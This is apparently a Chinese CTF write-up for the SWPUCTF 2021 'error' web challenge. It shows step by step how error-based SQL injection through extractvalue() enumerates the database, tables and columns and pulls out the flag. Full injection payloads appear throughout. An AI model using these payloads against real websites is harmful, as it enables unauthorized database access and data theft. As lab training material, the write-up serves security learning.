首页 > 其他分享 >[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

时间:2023-08-18 16:57:09浏览次数:35  
标签:group extractvalue SWPUCTF concat flag 2021 error table select

[SWPUCTF 2021 新生赛]error

题目来源:nssctf

题目类型:web

涉及考点:SQL注入

1. 题目给了一个输入框,随便传点东西

通过上面三次传入,我们可以判断闭合类型为单引号闭合

  • 发现没有回显位,但有报错提示,因此尝试报错注入

2. extractValue()报错注入

  • 爆库名
1' union select 1,extractvalue(1,concat('~',(select database()))),3#

这个列数3是用1' group by 3#做判断得来的

  • 爆表名
1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3#
  • 爆列名
1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),3#

此处查看表users

  • 好像没有flag,再查看表test_tb
1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3#
  • 获取数据
1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))#

第二段:

1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))#

最终拼接得flag:

NSSCTF{cd4e32c8-271f-45e9-986f-dac43f03a5d6}

注意:如果按照上述的payload来获取第一段flag,由于返回的是32个字符,因此第一段最后的6和第二段起始的6是重复的,要去除一个,建议使用1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))#来获取第一段flag

日期:2023.8.18

作者:y0Zero

标签:group,extractvalue,SWPUCTF,concat,flag,2021,error,table,select
From: https://www.cnblogs.com/bkofyZ/p/17640958.html

相关文章

  • nacos权限绕过漏洞(CVE-2021-29441)修复过程
    1、开启服务身份识别功能修改nacos的application.properties配置文件nacos.core.auth.enabled=true,2、重启nacos进入nacos下的bin目录单机模式shstartup.sh-mstandalone集群shstartup.shNacos3、注册及配置中心开启权限认证,所有服务都要改重新发版......
  • nginx报错: nginx: [error] open() "/opt/nginx/nginx.pid" failed (2: No such file
    出现故障的原因:nginx:[error]open()"/opt/nginx/nginx.pid"failed(2:Nosuchfileordirectory)   服务器重启后,重新启动nginx报错nginx.pid这个文件找不到了!       因为每次重新启动系统,nginx.pid被自动删除。解决方案:    重新生......
  • 笔记整理--C语言--linux下错误的捕获:errno和strerror的使用——转载
    linux下错误的捕获:errno和strerror的使用经常在调用linux系统api的时候会出现一些错误,比方说使用open()、write()、creat()之类的函数有些时候会返回-1,也就是调用失败,这个时候往往需要知道失败的原因。这个时候使用errno这个全局变量就相当有用了。在程序代码中包含#include<e......
  • NSIS ERROR: error launching installer
    出现errorlaunchinginstaller错误的原因是界面语言和非unicode程序语言不一致造成的,需要重新设置区域语言。 注意选择当前系统区域设置未中文(简体,中国),去掉Beta版的勾......
  • GitHub: remote:Support for password authentication was removed on August 13,2021
    使用gitpushoriginmaster向远程仓库推送时被告知:remote:SupportforpasswordauthenticationwasremovedonAugust13,2021.Pleaseuseapersonalaccesstokeninstead.ush的时候需要输入github的账户名和密码,而这里的大概意思就是密码验证在2021年8月13号被移除了,需要......
  • Error in head(mpg) : object 'mpg' not found
     001、问题 002、解决方法library(tidyverse)head(mpg)。 ......
  • es写入时报TransportError(413, '')
    问题现象:写入时单条或一批次的总数据大小超过es限制就会报TransportError(413,'')解决:修改es配置文件elasticsearch.yml增加max_content_length,具体大小看实际环境需求,越大性能越差http.max_content_length:1024mbFile"/opt/python3.8/site-packages/elasticsearch/hel......
  • ERROR 1820 (HY000): You must reset your password using ALTER USER statement befo
    问题描述想要在linux系统里面使用mysql时,出现了这样的报错信息问题解决mysql>setglobalvalidate_password_policy=LOW;mysql>setglobalvalidate_password_length=9;使用这两个命令,将密码的限制进行修改,然后执行修改密码的命令:ALTERUSERUSER()IDENTIFIEDBY'wing......
  • Apache HTTPd RCE漏洞复现(cve-2021-41773)
    0x01漏洞简介:      ApacheHTTPd是Apache基金会开源的一款流行的HTTP服务器。在ApacheHTTPd2.4.49版本中,存在一个路径穿越漏洞。在配置了Requireallgranted后,攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件,比如/etc/passwd文件。同时若ApacheHTTPd开启了......
  • 8-17|2023-08-16 12:33:55,972 [salt.master :1643][ERROR ][20321] Received
    该日志条目显示了来自于Saltminion(在这里标识为`[master]`,这可能是minion的名称或者是由于其他原因导致的日志格式)的错误,表示minion在执行一个函数时发生了异常。日志内容“`Theminionfunctioncausedanexception`”表示在minion端执行的特定Salt函数引发了一个错误或异常。......